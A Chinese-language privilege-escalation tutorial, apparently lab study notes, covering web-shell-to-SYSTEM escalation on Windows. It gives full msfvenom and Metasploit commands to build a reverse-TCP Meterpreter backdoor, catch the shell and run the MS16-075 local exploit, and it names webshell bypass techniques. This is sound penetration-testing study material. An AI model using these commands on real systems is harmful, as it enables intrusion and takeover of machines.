1. Web 到 Windows 系统提权
本文围绕 从WEB SHELL / WEB执行权限 → Windows系统本地提权 的基础流程展开,重点关注:
平台差异 → 语言差异 → 用户权限 → 工具复现 → 自动化提权 → Exploit利用
1.1 平台
Web 搭建平台影响权限与执行能力,通常分为:
| 类型 | 代表工具/技术 | 特性 | 对提权影响 |
|---|---|---|---|
| 集成环境 | 宝塔、PhpStudy、XAMMP | 一键化、省心 | 常见弱配置,易利用 |
| 自行搭建 | 手动安装 Apache / PHP / MySQL | 可控性高 | 安全性取决于管理员水平 |
| 虚拟化 | Docker、ESXi、QEMU、Hyper-V | 依赖宿主机与虚拟化隔离 | 存在容器逃逸风险 |
补充知识:
- Web运行权限多数继承服务启动用户
- 大部分 WebShell 初始权限为 低权限匿名运行账户
- 容器化场景需考虑 逃逸攻击面
1.2 Web 开发语言权限差异
不同语言在 Windows 生态下的权限等级存在显著差异:
| 语言 | 权限倾向 | 原因 |
|---|---|---|
| JSP | 权限高 | 运行在 Tomcat,可能以高权限服务用户运行 |
| ASP.NET | 中高权限 | 结合 IIS ApplicationPool,部分配置可能为高权限 |
| ASP = PHP | 通常低权限 | 通常属于 IIS / Apache 普通 Web 用户 |
权限强弱总结:
JSP > ASP.NET > ASP = PHP
1.3 系统用户权限差异
系统权限的认知会直接影响提权方向与利用工具策略。
Windows 权限分级
| 用户/组 | 权限说明 |
|---|---|
| SYSTEM | 系统级最高权限 (0级) |
| Administrators | 管理员组,完全控制 |
| Power Users | 部分高级权限,低于管理员 |
| Users | 普通用户、功能受限 |
| Guests | 仅访问无修改操作 |
| Backup Operators | 具备备份恢复能力,可间接提权 |
| IIS_IUSRS | Web相关服务运行账户 |
补充重点:Backup Operators 存在可利用攻击面(如使用 diskshadow)
Linux 用户权限
- 系统用户:UID 0–999
- 普通用户:UID >= 1000
- ROOT:UID = 0,最高权限
2. 系统提权案例
以下为不同场景下的工具与漏洞利用路径。
2.1 宝塔面板 - 哥斯拉 + MSF
复现环境:
Windows Server 2012 (宝塔 + Apache + PHP)
提权方式使用 MSF + 哥斯拉(冰蝎同类)
基础流程:
PMeterpreter
BypassOpenBaseDir
BypassDisableFunction
补充:
如果 PHP 中 disable_functions 全部关闭,可利用 FFI、LD_PRELOAD、DLL Hijack、COM组件利用 继续执行命令。
2.2 溢出漏洞利用 - MSF / CS
复现环境:
Windows Server 2008 (IIS + ASP) - MSF
搭建方式:
可使用 Windows Server 2016 手动安装 IIS + ASP 支持
2.2.1 MSF 环境准备
MSF 最新版存在不稳定情况,建议使用 6.4.0 稳定镜像。
Docker 安装 MSF
拉取镜像
docker pull metasploitframework/metasploit-framework:6.4.0
启动并映射配置
docker run --rm -it \
--name msf-6-4 \
-v ~/.msf4:/root/.msf4 \
-p 3333:3333 \
metasploitframework/metasploit-framework:6.4.0 /bin/bash
3️⃣ 进入 MSF
msfconsole
📌 补充建议:
如需对外通信,可使用:
--network=host
2.2.2 生成反弹后门
./msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.27.28.12 LPORT=3333 -f exe -o msf.exe
2.2.3 配置监听并接收会话
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3333
exploit -j -z
会话转后台:
background
2.2.4 自动化漏洞扫描 (EXP Suggester)
use post/multi/recon/local_exploit_suggester
set showdescription true
set session 1
run

2.2.5 漏洞溢出提权
示例使用:
use exploit/windows/local/ms16_075_reflection_juicy
set session 1
exploit
若监听端口异常:
set LHOST 172.27.28.12
set LPORT 3333
set Payload windows/meterpreter/reverse_tcp
set SESSION 2
set VERBOSE true
exploit
